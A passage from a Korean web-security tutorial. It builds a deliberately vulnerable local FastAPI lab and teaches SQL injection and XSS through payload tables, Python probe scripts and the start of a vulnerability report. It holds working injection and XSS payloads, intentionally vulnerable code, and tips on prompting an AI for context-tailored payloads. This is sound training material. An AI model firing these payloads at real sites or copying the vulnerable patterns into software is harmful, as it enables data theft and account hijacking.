SQL 인젝션과 XSS
앞 회차(03-1)에서 요청을 내가 원하는 모양으로 만드는 법을 익혔습니다. 이번 회차는 실제 취약한 웹 애플리케이션에 실습을 해보도록 하겠습니다. SQL 인젝션(SQLi)과 크로스 사이트 스크립팅(XSS)를 먼저 해보도록 하겠습니다. 이 취약점은 웹 취약점 역사에서 15년 넘게 상위권을 지키고 있는 취약점 입니다.
법·윤리 주의
이번 회차의 모든 실습은 127.0.0.1에 직접 띄운 작은 파이썬 서버에서만 진행합니다. "취약점이 있을 것 같다"는 추측만으로 외부 서비스에 페이로드를 쏘는 것은 명백한 불법입니다. 반드시 로컬 네트워크 안에서만 운영하세요.
이 수업에서는 SQL 수업을 하지 않습니다. 기본 문법이 궁금하다면 https://sql.weniv.co.kr/ 에서 간단한 실습을 해보세요.
1. 취약한 FastAPI 실습 서버 만들기
03-1 과제에서 이미 보았듯, 우리는 의도적으로 허술한 서버를 직접 만들 줄 압니다. 이번 회차의 SQLi·XSS 실습도 같은 방식으로 진행합니다. 도커나 PHP·MySQL 환경 없이, 파이썬 한 파일로 SQL 인젝션·Reflected XSS·Stored XSS를 모두 재현할 수 있는 작은 실습장(lab)을 직접 만들어둡니다.
pip install fastapi uvicorn python-multipart
# vuln_lab.py: 의도적으로 허술한 학습용 FastAPI 서버
# 사내 인트라넷을 흉내낸 미니 사이트: 회원 조회 게시판, 사이트 검색, 방명록
import sqlite3
import time
from fastapi import FastAPI, Form
from fastapi.responses import HTMLResponse
app = FastAPI()
DB = "vuln_lab.db"
CSS = """
<style>
body { font-family: system-ui, sans-serif; max-width: 720px; margin: 32px auto; padding: 0 16px; color: #222; }
header { display: flex; justify-content: space-between; align-items: baseline;
border-bottom: 2px solid #333; padding-bottom: 8px; margin-bottom: 16px; }
header h1 { margin: 0; font-size: 18px; }
nav a { margin-left: 12px; color: #06c; text-decoration: none; }
h2 { font-size: 16px; margin-top: 24px; }
form { margin: 12px 0; padding: 12px; background: #f4f6f8; border-radius: 6px; }
input, textarea { font-size: 14px; padding: 6px 8px; box-sizing: border-box; }
button { padding: 6px 14px; background: #06c; color: #fff;
border: 0; border-radius: 4px; cursor: pointer; }
.post { padding: 10px; border-bottom: 1px dashed #bbb; }
.post .author { color: #555; font-size: 13px; margin-bottom: 4px; }
.error { color: #b00; background: #fee; padding: 10px;
border-radius: 4px; font-family: monospace; white-space: pre-wrap; }
.empty { color: #888; font-style: italic; }
</style>
"""
def page(title: str, body: str) -> str:
return f"""<!doctype html><html lang="ko">
<head><meta charset="utf-8"><title>VulnLab: {title}</title>{CSS}</head>
<body>
<header>
<h1>VulnLab 사내 포털</h1>
<nav>
<a href="/sqli">회원 조회</a>
<a href="/xss/reflected">사이트 검색</a>
<a href="/xss/stored">방명록</a>
</nav>
</header>
<h2>{title}</h2>
{body}
</body></html>"""
def init_db():
conn = sqlite3.connect(DB)
conn.execute("DROP TABLE IF EXISTS users")
conn.execute("CREATE TABLE users (id INTEGER, first_name TEXT, last_name TEXT)")
conn.executemany("INSERT INTO users VALUES (?, ?, ?)", [
(1, "admin", "admin"),
(2, "Gordon", "Brown"),
(3, "Hack", "Me"),
(4, "Pablo", "Picasso"),
(5, "Bob", "Smith"),
])
conn.commit()
conn.close()
init_db()
GUESTBOOK: list[dict] = []
def db_conn():
conn = sqlite3.connect(DB)
# MySQL의 SLEEP() 흉내내기: Time-based SQLi 실습용
conn.create_function("SLEEP", 1, lambda n: time.sleep(n) or 1)
return conn
# ── 1) 회원 조회 게시판: 사번을 입력하면 직원 정보를 보여준다 ──────────────
@app.get("/sqli", response_class=HTMLResponse)
def sqli(id: str = ""):
form = """
<form>
<label>사번: <input name="id" placeholder="예: 1" autofocus></label>
<button>조회</button>
</form>
"""
if not id:
return HTMLResponse(page("회원 조회 게시판",
form + "<p class='empty'>사번을 입력해 직원 정보를 조회하세요.</p>"))
conn = db_conn()
try:
# 의도적 취약점: 사번 입력을 SQL에 그대로 끼워 넣음
query = f"SELECT id, first_name, last_name FROM users WHERE id = '{id}'"
rows = conn.execute(query).fetchall()
if rows:
result = "<h2>조회 결과</h2>" + "".join(
f"<div class='post'>사번 {r[0]}. <b>{r[1]} {r[2]}</b></div>" for r in rows
)
else:
result = "<p class='empty'>해당 사번의 회원이 없습니다.</p>"
return HTMLResponse(page("회원 조회 게시판", form + result))
except Exception as e:
# 의도적 취약점: DB 에러 메시지를 그대로 응답에 포함
return HTMLResponse(page("회원 조회 게시판",
form + f"<div class='error'>You have an error in your SQL syntax: {e}</div>"))
finally:
conn.close()
# ── 2) 사이트 검색창: 입력한 검색어를 결과 페이지에 그대로 다시 보여준다 ──
@app.get("/xss/reflected", response_class=HTMLResponse)
def xss_reflected(q: str = ""):
form = """
<form>
<input name="q" placeholder="사이트 전체 검색" size="40" autofocus>
<button>검색</button>
</form>
"""
# 의도적 취약점: 검색어를 HTML 본문에 그대로 박음
result = f"<p>'<b>{q}</b>'에 대한 검색 결과가 없습니다.</p>" if q else ""
return HTMLResponse(page("사이트 검색", form + result))
# ── 3) 방명록: 누구나 글을 남기고, 그 글을 모든 방문자가 본다 ─────────────
@app.get("/xss/stored", response_class=HTMLResponse)
def xss_stored_get():
if GUESTBOOK:
posts = "".join(
f"<div class='post'><div class='author'>{p['name']}</div>"
f"<div>{p['message']}</div></div>"
for p in GUESTBOOK
)
else:
posts = "<p class='empty'>아직 작성된 글이 없습니다.</p>"
form = """
<form method="post">
<div><input name="name" placeholder="이름" size="20"></div>
<div style="margin-top:6px;">
<textarea name="message" rows="3" cols="40" placeholder="자유롭게 글을 남겨보세요"></textarea>
</div>
<button>방명록 남기기</button>
</form>
"""
return HTMLResponse(page("방명록", form + "<hr>" + posts))
@app.post("/xss/stored", response_class=HTMLResponse)
def xss_stored_post(name: str = Form("익명"), message: str = Form(...)):
# 의도적 취약점: 작성자/메시지를 HTML로 이스케이프하지 않고 저장·노출
GUESTBOOK.append({"name": name, "message": message})
return xss_stored_get()
# 실행 (다른 서비스가 8000 포트를 쓰고 있으면 --port 8002 등으로 변경)
uvicorn vuln_lab:app --port 8000
브라우저에서 다음 세 페이지를 각각 열어보면, 사번 조회 게시판 / 사이트 검색창 / 방명록으로 꾸며진 작은 사내 포털이 떠 있는 걸 확인할 수 있습니다. 각 페이지가 입력을 받는 자리가 곧 이번 회차의 공격 표면입니다.
http://127.0.0.1:8000/sqli. 회원 조회 게시판 (사번 입력 → SQL 인젝션)http://127.0.0.1:8000/xss/reflected. 사이트 검색창 (검색어 → Reflected XSS)http://127.0.0.1:8000/xss/stored. 방명록 (이름·메시지 → Stored XSS)
왜 SQLite를 쓰는가
정통 취약 서버는 PHP + MySQL을 쓰지만, MySQL 설치는 처음 웹을 다루는 분들에게 부담입니다. SQLite는 파일 하나로 끝나는 임베디드 DB라 별도 설치가 필요 없고, SQL 인젝션의 본질을 똑같이 재현합니다. 다만 함수 이름이 일부 다르기 때문에, 이 회차의 페이로드에서 SLEEP()은 우리가 vuln_lab.py에 직접 등록해 둔 사용자 정의 함수이고, MySQL의 version() 대신 SQLite의 sqlite_version()을 씁니다. 취약점의 원리는 DB 종류와 무관합니다.
다만 현대 나오는 대부분의 프레임웤은 SQLi를 어느정도 방어하는 로직이 설계되어 있습니다.
2. SQL 인젝션
웹사이트에는 글자를 칠 수 있는 자리가 정말 많습니다. 게시판의 검색창, 로그인 페이지의 아이디·비밀번호 칸, 회원 가입 폼의 이름·이메일 칸, 앞 절에서 띄운 사내 포털의 사번 조회 입력란까지. 사용자가 그런 자리에 적은 글자는 서버 안에서 보통 DB(데이터베이스)와 작용되게 됩니다. 이 공간으로 SQL 코드를 끼워 넣어 DB를 조작하는 공격이 바로 SQL 인젝션(SQL Injection)입니다.
사번 조회 게시판에서 사용자가 1을 입력하면 서버는 대개 이런 SQL 문장을 만들어 DB에 보냅니다.
SELECT id, first_name, last_name FROM users WHERE id = '1'
서버가 입력값을 그저 글자 그대로 끼워 붙이기만 한다면, 사용자가 1 대신 1' OR '1'='1 같은 SQL 문법 조각을 적었을 때 쿼리의 의미가 통째로 바뀝니다. 서버가 만드는 쿼리의 뜻을 공격자가 원하는 방향으로 바꿔치기한 것이죠. 흐름을 그림으로 견주어 보면 차이가 분명합니다.
정상 요청
SQL 인젝션
차이는 사용자가 친 한 줄짜리 입력뿐입니다. 그런데 서버가 입력을 SQL 안에 그대로 끼워 붙였기 때문에, 따옴표 위치가 달라진 것만으로 "한 명을 찾는 쿼리"가 "전체를 끌어오는 쿼리"로 변신합니다.
공격자가 쓰는 페이로드는 처음 보면 외계어처럼 보이지만, 모두 "원래 쿼리를 어떻게 비틀어 끼울 것이냐" 의 변형일 뿐입니다. 자주 쓰이는 모양과 노림수를 한 자리에 모아 보면 다음과 같습니다.
| 목적 | 페이로드 예 | 어떤 입력 자리에서 |
|---|---|---|
| 로그인 우회 | admin' -- (ID 칸) | 로그인 폼. 뒤따르는 비밀번호 검사 부분을 SQL 주석(--)으로 잘라 버림 |
| 모든 행 끌어오기 | ' OR '1'='1 | 검색창, 사번 조회. 1=1이 항상 참이라 WHERE 조건이 무력화됨 |
| 다른 테이블 정보 추출 | ' UNION SELECT password FROM admin -- | 검색·조회 결과창. 결과 목록에 전혀 다른 테이블의 행을 슬쩍 합쳐 가져옴 |
| DB 종류·버전 식별 | ' UNION SELECT sqlite_version() -- | 검색·조회 결과창. 어떤 DB인지 알아야 다음 페이로드를 고를 수 있음 |
| 참/거짓 비교 | 1' AND 1=1 vs 1' AND 1=2 | 결과 페이지. 응답 길이·문구 차이로 정보를 한 글자씩 짐작 |
| 시간 지연 | 1' AND SLEEP(5) -- | 결과 페이지. 응답이 5초 이상 걸리는지로 참/거짓 짐작 |
이 표의 아래쪽 네 줄은 곧이어 살펴볼 네 가지 유형(Error-based / Union-based / Blind / Time-based)과 그대로 맞물립니다.
조금 더 정확하게 표현하면, SQL 인젝션은 사용자 입력이 SQL 문법의 일부로 해석되는 상황에서 발생합니다. 서버가 입력을 받아 쿼리 문자열을 이렇게 조립한다면
query = f"SELECT id, first_name FROM users WHERE user_id = '{user_input}'"
사용자가 1' OR '1'='1이라고 넣는 순간 쿼리의 의미가 바뀌어
SELECT id, first_name FROM users WHERE user_id = '1' OR '1'='1'
'1'='1'은 항상 참이므로 모든 행이 반환됩니다. 이게 전부입니다. SQLi의 본질은 "서버가 데이터라고 믿은 자리에 코드를 밀어 넣는 것"입니다.
2.1 네 가지 유형
네 유형 모두 공격하는 자리는 같습니다: 입력란에 SQL 조각을 끼워 넣는다는 점. 다른 점은 서버 응답의 어디를 단서로 삼느냐에 있습니다.
- Error-based: DB가 토해낸 에러 메시지를 직접 읽음
- Union-based: 원쿼리 결과에 내가 원하는 행을 한 줄 더 합쳐 화면에서 직접 읽음
- Blind (Boolean): "눈가림" 상태에서 응답 본문이 참/거짓에 따라 달라지는 것을 신호로 삼음
- Blind (Time-based): 본문도 같을 때, 응답 시간만이 유일한 신호
표로 정리하면 다음과 같습니다.
| 유형 | 단서 | 필요한 조건 |
|---|---|---|
| Error-based | 에러 메시지에 DB 정보가 그대로 노출 | 서버가 DB 에러를 그대로 돌려줌 |
| Union-based | UNION SELECT로 결과 컬럼에 원하는 값을 추가 | 원쿼리의 컬럼 수·타입을 맞출 수 있음 |
| Blind (Boolean) | 참/거짓 조건으로 응답 본문·길이가 달라짐 | 에러도 없고 UNION도 못 쓸 때 |
| Blind (Time-based) | SLEEP(5) 같은 지연 함수로 참/거짓 판정 | 본문 변화도 없을 때 최후 수단 |
공격자 관점에서 이 네 가지는 위에서부터 차례로 떨어지는 사다리입니다. Error-based가 가장 쉽고 정보가 많이 새어 나오는 방법이라 먼저 시도하고, 막히면 한 단계씩 어려운 쪽으로 내려갑니다. 자동화 스캐너(자동으로 취약점을 찔러보는 도구)들도 정확히 이 순서로 테스트합니다.
2.2 Error-based SQLi 직접 만져보기
브라우저로 http://127.0.0.1:8000/sqli(회원 조회 게시판)에 접속 → 사번 입력창에 1을 넣으면 사번 1번 직원(admin admin)이 한 명 나옵니다. 같은 입력창에 작은 변형을 차례로 넣어보세요.
| 입력 | 기대 | 관찰 |
|---|---|---|
1 | 정상 결과 | 유저 1명 |
1' | SQL 구문 오류 | unrecognized token: "'" 같은 메시지 |
1' OR '1'='1 | 모든 유저 노출 | 다수 행 반환 |
1' UNION SELECT null, sqlite_version(), null -- | DB 버전 유출 | 3.x.x 등 |
첫 단서는 1' 하나입니다. 작은따옴표 한 글자에 서버가 에러를 토해낸다면, 그 서버는 거의 확실히 입력을 이스케이프(따옴표·꺾쇠 같은 특수문자가 SQL/HTML 문법으로 해석되지 않도록 미리 무해한 형태로 바꿔주는 처리) 없이 SQL 문장에 그대로 끼워 붙여 쓰고 있다는 뜻입니다.
2.3 Error-based SQLi 파이썬 자동 탐지
방금 손으로 넣어본 입력들(1, 1', 1' OR '1'='1 …)을 한 번 보낼 때마다 브라우저로 일일이 확인하면 시간이 너무 오래 걸립니다. 그래서 03-1에서 짜둔 기본 골격(requests.Session으로 한 번 만든 연결을 계속 쓰면서 응답의 상태 코드, 본문 길이, 응답 시간, 본문 해시 네 가지를 기록하는 부분)을 그대로 가져온 뒤, 그 위에 페이로드 목록을 for 문으로 한 줄씩 던지는 코드를 얹어 봅니다. 이렇게 만들면 "여러 입력을 자동으로 던지고 → 그때마다 응답을 비교 → 의심스러운 줄에 표시" 까지가 한 스크립트 안에서 끝납니다.
이 스크립트는 누가 쓰는 걸까?
같은 코드를 공격자도 방어자도 씁니다. 다만 이 책에서 우리가 서 있는 자리는 방어자(보안 엔지니어 / 침투 테스터)입니다. 내가 책임지고 있는 서버, 또는 공식적으로 점검 허가를 받은 서버를 상대로, 공격자보다 먼저 약점을 찾아 막기 위해 같은 도구를 써 보는 겁니다.
용어 정리
페이로드(payload)는 서버에 밀어 넣는 한 덩어리의 입력값을 말합니다. 사번 자리에 넣을 1' OR '1'='1 같은 문자열 하나하나가 페이로드입니다.
# sqli_probe.py: vuln_lab.py의 /sqli 페이지를 상대로 Error-based 탐지
import argparse
import requests
DB_ERROR_SIGS = [
"you have an error in your sql syntax", # MySQL. 우리 서버도 이 접두사를 그대로 씀
"warning: mysql",
"unrecognized token", # SQLite
"near \"", # SQLite "near \"X\": syntax error" 패턴
"unclosed quotation mark",
"pg_query():", # PostgreSQL
]
PAYLOADS = [
"1", # 정상 요청. 비교 기준(베이스라인)으로 쓸 응답을 먼저 받아둔다
"1'", # 단순 따옴표. 문법을 깨뜨려 에러를 유도
"1\"", # 이중 따옴표. 따옴표 종류가 다른 DB에서 반응하는지 확인
"1' --", # 뒤를 SQL 주석(--)으로 막아 원래 쿼리의 잔여 부분을 무력화
"1' OR '1'='1", # 'X = X' 처럼 항상 참이 되는 조건을 끼워 넣어 모든 행을 끌어내는 고전 수법
]
def probe(session: requests.Session, url: str, payload: str) -> dict:
res = session.get(url, params={"id": payload}, timeout=5)
body = res.text.lower()
hits = [sig for sig in DB_ERROR_SIGS if sig in body]
return {
"payload": payload,
"status": res.status_code,
"len": len(res.text),
"elapsed_ms": int(res.elapsed.total_seconds() * 1000),
"db_error_hits": hits,
}
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--base", default="http://127.0.0.1:8000")
args = ap.parse_args()
session = requests.Session()
session.headers.update({"User-Agent": "BasecampSecurity/0.1"})
url = f"{args.base}/sqli"
baseline_len = probe(session, url, "1")["len"]
print(f"[+] baseline length = {baseline_len}")
for payload in PAYLOADS[1:]:
r = probe(session, url, payload)
delta = r["len"] - baseline_len
flag = "!" if r["db_error_hits"] or abs(delta) > 50 else " "
print(f" {flag} payload={payload!r:30} status={r['status']} "
f"len={r['len']} (Δ{delta:+d}) errors={r['db_error_hits']}")
if __name__ == "__main__":
main()
vuln_lab.py가 떠 있는 상태에서 새 터미널을 열어 실행합니다.
python sqli_probe.py
출력에서 줄 앞에 ! 마크가 붙은 항목이 의심 페이로드입니다. 즉 "이 줄은 사람 눈으로 다시 한 번 들여다 봐"라고 스크립트가 표시해 준 줄입니다.
- 응답 본문에 DB 에러 시그니처(
unrecognized token,you have an error in your sql syntax같은 DB가 평소 토해내는 고유한 문구)가 들어 있다. 즉 서버가 SQL 에러 메시지를 통째로 흘리고 있다. - 응답 본문 길이가 정상 요청(
id=1)에 비해 50바이트 이상 차이 난다. 즉 입력 한 글자 바꿨을 뿐인데 페이지 모양이 의미 있게 달라졌다.
따옴표 하나(1')만으로 1번이 잡히거나, OR '1'='1이 2번을 크게 키웠다면 그 입력란은 거의 확실히 SQL 인젝션에 취약합니다. 다음 단계는 !이 붙은 페이로드를 실제 브라우저에서 다시 확인하고, 어디까지 정보가 새는지(예: UNION SELECT … sqlite_version() 으로 DB 버전 추출)를 직접 손으로 검증하는 일입니다.
"에러 시그니처 리스트"가 공격의 절반입니다. 시그니처는 "이 문구가 응답에 보이면 DB가 에러를 내고 있다"는 걸 알려주는 지문 같은 문자열입니다. sqlmap 같은 자동 도구는 MySQL, PostgreSQL, SQLite, Oracle, MSSQL 등 DB별로 이런 지문 수십 개를 갖고 있습니다. 우리 스크립트는 시작점일 뿐이니, Claude에게 "이 리스트를 확장해달라"고 하면 실전용 사전을 빠르게 만들 수 있습니다.
2.4 에러가 안 날 때, Blind와 Time-based
운영 서비스는 에러 메시지를 감추고, 데이터도 화면에 직접 박지 않습니다. 이렇게 공격자가 응답에서 데이터·에러를 직접 볼 수 없는 상태를 Blind(눈가림)라고 부릅니다. 이때는 응답의 간접적인 차이를 단서로 한 글자씩 추측해 내려가야 합니다. 만약 여기서 SLEEP이 실행된다면, 메시지는 출력해주지 않지만 "내 입력이 SQL 코드로 해석돼서 DB가 SLEEP 함수를 실행했다"는 사실로 침투 경로를 만들 수 있습니다.
- Boolean-based:
AND 1=1(참) vsAND 1=2(거짓)을 넣고 응답 본문 길이·타이틀이 달라지는지 비교. 같은 방식으로AND SUBSTR(password,1,1)='a'식으로 비밀번호 한 글자씩 일치 여부를 묻습니다. - Time-based: 본문조차 똑같을 때의 최후 수단.
AND SLEEP(5)를 넣고res.elapsed가 5초를 넘는지 봅니다. 응답 시간은 화면에 박지 않아도 가릴 수 없는 신호이기 때문입니다.
SLEEP(5)가 결정적인 이유는 단순합니다. 사번 칸은 원래 숫자만 들어가야 하는 자리인데, 거기 적은 SLEEP이 DB에서 함수로 실행됐다는 사실 자체가 곧 "내 입력이 데이터가 아니라 SQL 코드로 해석됐다"는 결정적 증거입니다. 데이터를 빼내기 전 단계, "이 입력란이 SQL 인젝션에 취약한가?" 자체를 판정하는 용도로 가장 자주 쓰입니다. 5초인 이유는 아래 callout에서 다루는 노이즈와의 구분 때문입니다.
# blind_time_based.py: 5초 이상 지연되면 Time-based SQLi 의심
import time
import requests
URL = "http://127.0.0.1:8000/sqli"
def time_probe(session, url, payload, threshold=4.5):
t0 = time.time()
res = session.get(url, params={"id": payload}, timeout=15)
elapsed = time.time() - t0
return elapsed, elapsed >= threshold
session = requests.Session()
session.headers.update({"User-Agent": "BasecampSecurity/0.1"})
baseline, _ = time_probe(session, URL, "1")
attack, hit = time_probe(session, URL, "1' AND SLEEP(5) -- ")
print(f"baseline={baseline:.2f}s attack={attack:.2f}s hit={hit}")
vuln_lab.py가 등록한 사용자 정의 SLEEP() 함수 덕분에 페이로드가 5초간 멈추고, attack 측정값이 5초를 넘는 것을 확인할 수 있습니다.
Time-based는 측정값이 들쭉날쭉합니다. 네트워크 지연, 서버 일시 부하 같은 우연한 흔들림(노이즈)만으로도 응답 시간이 2~3초는 흔히 출렁입니다. 그래서 실무에서는 같은 페이로드를 여러 번 반복해 평균을 보거나, SLEEP(10)처럼 판정 기준값(임계치)을 충분히 크게 잡아 오탐(취약하지 않은데 취약하다고 잘못 잡는 일)을 줄입니다. 다만 SLEEP(10) 같은 페이로드는 대상 서버의 연결 자리를 오래 붙잡기 때문에 허가된 환경에서만 써야 합니다.
3. Cross-Site Scripting
XSS(Cross-Site Scripting)도 자리는 SQLi와 비슷합니다. 댓글창, 게시글 본문, 검색창, 프로필 자기소개 칸, 채팅 입력 등 사용자가 글을 쓸 수 있는 곳이라면 어디든 무대가 됩니다. 다만 거기 끼워 넣는 게 SQL이 아니라 JavaScript 코드라는 점, 그리고 그 코드가 실행되는 무대가 DB나 서버가 아니라 그 페이지를 열어 보는 다른 사용자들의 브라우저라는 점이 결정적인 차이입니다.
가장 단순한 예. 방명록에 <script>alert("hi")</script>라고 적기만 해도, 서버가 그 글자를 별도 처리 없이 그대로 페이지에 박아두기 때문에, 이후 그 방명록을 열어 보는 모든 사람의 브라우저에서 그 스크립트가 실행됩니다. 공격자는 이 자리를 이용해 보통 다음과 같은 일을 합니다.
- 세션 쿠키 탈취:
document.cookie로 피해자의 로그인 쿠키를 읽어 외부 서버에 전송. 받아낸 쿠키를 그대로 자기 브라우저에 심으면 피해자 계정으로 로그인된 상태를 만들 수 있다. - 키로깅 / 폼 가로채기: 페이지에
keydown이벤트 핸들러를 심어, 누르는 키나 비밀번호 폼 값을 통째로 외부로 빼낸다. - 피싱 폼 덧씌우기: 진짜 사이트 위에 가짜 로그인 박스를 띄워, 사용자가 입력한 ID·비밀번호를 공격자 서버로 전송한다. URL은 진짜 도메인이라 의심받기 어렵다.
- 사이트 외관 변조: 페이지를 광고·욕설로 도배해 신뢰도를 떨어뜨리거나, 다른 악성 사이트로 자동 이동시킨다.
흐름을 SQLi와 비교하면 피해자가 누구냐가 핵심 차이입니다. 서버 로그에는 큰 흔적이 안 남는 경우도 많아, 자동 스캐너 없이 운영팀이 알아채기 어렵습니다.
3.1 세 가지 유형
Reflected XSS
Stored XSS
DOM-based XSS
- Reflected XSS: 한 번 쓰고 버려지는 공격. 공격용 URL 안에 페이로드를 담아 피해자에게 보내고, 피해자가 그 링크를 클릭하는 순간 서버가 입력을 응답에 그대로 박아 스크립트가 실행됩니다.
- Stored XSS: 서버 DB에 저장되므로 그 페이지를 보러 오는 모든 사람에게 반복적으로 터집니다. 가장 파괴적입니다.
- DOM-based XSS: 서버는 결백하고, 브라우저 안에서 돌아가는 JavaScript가 사용자 입력을
innerHTML(태그 통째로 페이지에 넣는 함수)이나document.write(글 쓰듯 HTML을 추가하는 함수)에 그대로 넣어서 발생합니다. 서버 로그에는 흔적이 적기 때문에 탐지가 어렵습니다.
3.2 Reflected XSS 눈으로 확인
브라우저로 http://127.0.0.1:8000/xss/reflected(사이트 검색창)에 접속 → 검색창에 <script>alert(1)</script>를 입력하고 검색을 눌러 보세요. 결과 페이지의 "…에 대한 검색 결과가 없습니다" 자리에 검색어가 그대로 박히는데, vuln_lab.py가 입력을 HTML 본문에 이스케이프 없이 끼워 넣는 가장 단순한 형태이므로 즉시 alert 창이 뜹니다. 정통 환경의 DVWA Low 난이도와 동일한 상황입니다.
이제 서버 코드의 xss_reflected 함수에 간단한 필터를 직접 추가해 난이도를 올려봅시다.
# vuln_lab.py에 잠깐 추가해 실험해볼 수 있는 변형. 검색창 Medium 난이도
@app.get("/xss/reflected-medium", response_class=HTMLResponse)
def xss_reflected_medium(q: str = ""):
# Medium: '<script' 문자열만 막음. 다른 태그·이벤트 핸들러는 통과
q = q.replace("<script", "")
return HTMLResponse(f"<p>'{q}'에 대한 검색 결과가 없습니다.</p>")
<script>alert(1)</script>는 이제 막히지만, <img src=x onerror=alert(1)>처럼 태그를 바꾸면 우회됩니다. "같은 취약점에도 방어 수준에 따라 공격이 복잡해진다"는 감각을 직접 코드로 길러보세요.
3.3 Reflected XSS 파이썬 자동 탐지
입력이 응답에 그대로 되돌아오는지를 확인하면 됩니다. 이 "되돌아옴(reflection)" 자체가 XSS의 필요조건입니다.
# xss_reflect_probe.py
import argparse
import hashlib
import requests
PAYLOADS = [
'"><script>alert(1)</script>',
"'><svg/onload=alert(1)>",
"<img src=x onerror=alert(1)>",
"javascript:alert(1)",
"';!--\"<XSS>=&{()}", # 따옴표·꺾쇠 등 위험 문자를 모두 섞어, 어디서 필터링되는지 한 방에 보는 고전 점검 문자열
]
def reflected(body: str, payload: str) -> bool:
# 단순 문자열 포함 여부: 실제 스캐너는 HTML 인코딩, 부분 매칭까지 고려합니다.
return payload in body
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--base", default="http://127.0.0.1:8000")
args = ap.parse_args()
session = requests.Session()
session.headers.update({"User-Agent": "BasecampSecurity/0.1"})
url = f"{args.base}/xss/reflected"
for payload in PAYLOADS:
# 검색창 파라미터 q 자리에 페이로드를 넣고, 응답에 그대로 되돌아오는지 본다
res = session.get(url, params={"q": payload}, timeout=5)
hit = reflected(res.text, payload)
sig = hashlib.md5(payload.encode()).hexdigest()[:6]
mark = "!" if hit else " "
print(f" {mark} [{sig}] payload={payload!r:40} reflected={hit}")
if __name__ == "__main__":
main()
"reflected=True" 만으로 XSS 확정은 아닙니다. 서버가 입력을 HTML 이스케이프(<을 <로, >을 >로 바꿔서 그냥 글자처럼 보이게 처리)해 돌려주면, 문자열은 응답에 "포함"되어 있지만 스크립트로는 실행되지 않습니다. 그래서 실무 스캐너는 페이로드 주변 30자 정도의 앞뒤 글자(주변 컨텍스트)를 잘라 어떤 모양으로 박혔는지 살피거나, 헤드리스 브라우저(Playwright, Selenium처럼 화면 창을 띄우지 않고 백그라운드에서 동작하는 브라우저)로 그 페이지를 직접 열어 alert가 진짜로 뜨는지 확인합니다. 이 부분은 13회차 통합 스캐너에서 다시 다룹니다.
3.4 Stored XSS와 저장소 확인
http://127.0.0.1:8000/xss/stored(방명록) 페이지는 누구나 글을 남길 수 있고, 그 글을 이후 방문하는 모든 사람의 브라우저가 실행합니다. 검색창처럼 한 번 쓰고 사라지는 게 아니라, 이름과 메시지 두 자리 모두 저장소에 남기 때문에 한 번의 페이로드 주입이 다수 피해자를 노립니다. 탐지 흐름은 두 단계입니다.
- POST로 페이로드를 고유 식별자와 함께 저장: 예: 메시지 자리에
<script>/XID-abcd/alert(1)</script>를 넣어/xss/stored에 제출 - GET으로 같은 페이지를 다시 열어 본문에 그 식별자가 HTML로 이스케이프되지 않은 채 들어있는지 확인.
식별자를 섞는 이유는 다른 방명록 글과 겹치지 않게 하기 위함입니다. 점검이 끝난 뒤에는 같은 식별자로 검색해 정리(삭제)까지 하는 것이 예의입니다. 우리 vuln_lab.py는 메모리(파이썬 리스트)에 저장하므로, 가장 간단한 정리 방법은 서버를 재시작해 휘발시키는 것입니다.
4. 컨텍스트에 따른 페이로드
XSS 페이로드는 입력이 들어가는 위치의 컨텍스트에 따라 모양이 달라집니다. 같은 alert(1)이라도 이렇게 변신합니다.
| 삽입 위치 | 예시 페이로드 |
|---|---|
| 일반 HTML 본문 | <script>alert(1)</script> |
속성값 안 (<input value="...">) | "><script>alert(1)</script> |
JS 문자열 (var s = "...") | ";alert(1);// |
URL 속성 (<a href="...">) | javascript:alert(1) |
CSS 속성 (<div style="...">) | expression(alert(1)) (구형 IE) |
"먼저 탈출(escape)한다"가 핵심 감각입니다. 여기서 탈출은 "지금 내 입력이 갇혀 있는 따옴표·괄호·태그 같은 울타리를 먼저 닫고 빠져나오는 것"입니다. 예컨대 입력이 <input value="여기">의 따옴표 안에 박힌다면, 먼저 "> 로 따옴표와 태그를 닫아 밖으로 나온 뒤에야 새 <script> 태그를 열 수 있습니다. 공격자는 응답 HTML의 어느 지점에 내 입력이 박혔는지를 본 뒤, 그 자리를 닫고 빠져나오는 데 필요한 짧은 문자열(탈출 시퀀스)을 고릅니다.
Claude·AI에게 "이 컨텍스트에 맞는 XSS 페이로드 5개"를 달라고 요청할 때, 반드시 응답 HTML 스니펫을 같이 보여주세요. 그래야 AI가 맥락을 맞춰 속성값용·JS 문자열용·URL용을 구분해 제안해줍니다. 맥락 없이 "XSS 페이로드"만 달라고 하면 기초적인 <script>alert(1)</script> 10종을 나열하는 데 그칩니다.
5. 보안 취약점 보고서 작성하기
이 취약점을 근거로 AI와 함께 보안 취약점 점검 보고서를 작성하세요. 보고서에 담겨야 하는 내용은 아래와 같습니다.
# 보안 취약점 점검 보고서
## 1. 개요
- 점검 대상: VulnLab 사내 포털 (http://127.0.0.1:8000)
- 점검 일시: YYYY-MM-DD ~ YYYY-MM-DD
- 점검 범위: `/sqli`, `/xss/reflected`, `/xss/stored` 세 개 엔드포인트
- 점검자: 이름 / 소속
- 점검 방식: 수동 점검 + 자체 제작 스크립트(`sqli_probe.py`, `blind_time_based.py`, `xss_reflect_probe.py`)
## 2. 요약
- 발견 취약점 수: 총 3건 (Critical 1, High 2)
- 한 줄 평: 사용자 입력이 SQL·HTML 어디에서도 이스케이프되지 않아, **로그인 우회·DB 정보 유출·세션 탈취**로 직결될 수 있는 상태
- 즉시 조치가 필요한 항목: `/sqli`의 SQL 인젝션 (운영 환경 노출 시 전 직원 정보 유출 가능)
## 3. 발견 취약점 목록
| 번호 | 취약점 | 위치 | 심각도 | CWE |
|------|--------|------|--------|-----|
| V-01 | SQL 인젝션 (Error/Union/Time-based) | `GET /sqli?id=` | Critical | CWE-89 |
| V-02 | Reflected XSS | `GET /xss/reflected?q=` | High | CWE-79 |
| V-03 | Stored XSS | `POST /xss/stored` (name, message) | High | CWE-79 |
## 4. 취약점 상세
### V-01. SQL 인젝션
- 위치: `/sqli` 엔드포인트의 `id` 쿼리 파라미터
- 원인: 입력값을 f-string으로 SQL 문장에 그대로 끼워 붙임 (`vuln_lab.py`의 `sqli` 함수)
- 재현 절차
1. 브라우저에서 `http://127.0.0.1:8000/sqli?id=1'` 접속
2. 응답 본문에 `unrecognized token: "'"` 에러 메시지가 노출됨
3. `?id=1' OR '1'='1` 으로 변경 시 등록된 직원 5명 전체가 반환됨
4. `?id=1' UNION SELECT null, sqlite_version(), null -- ` 으로 DB 버전(`3.x.x`) 추출 가능
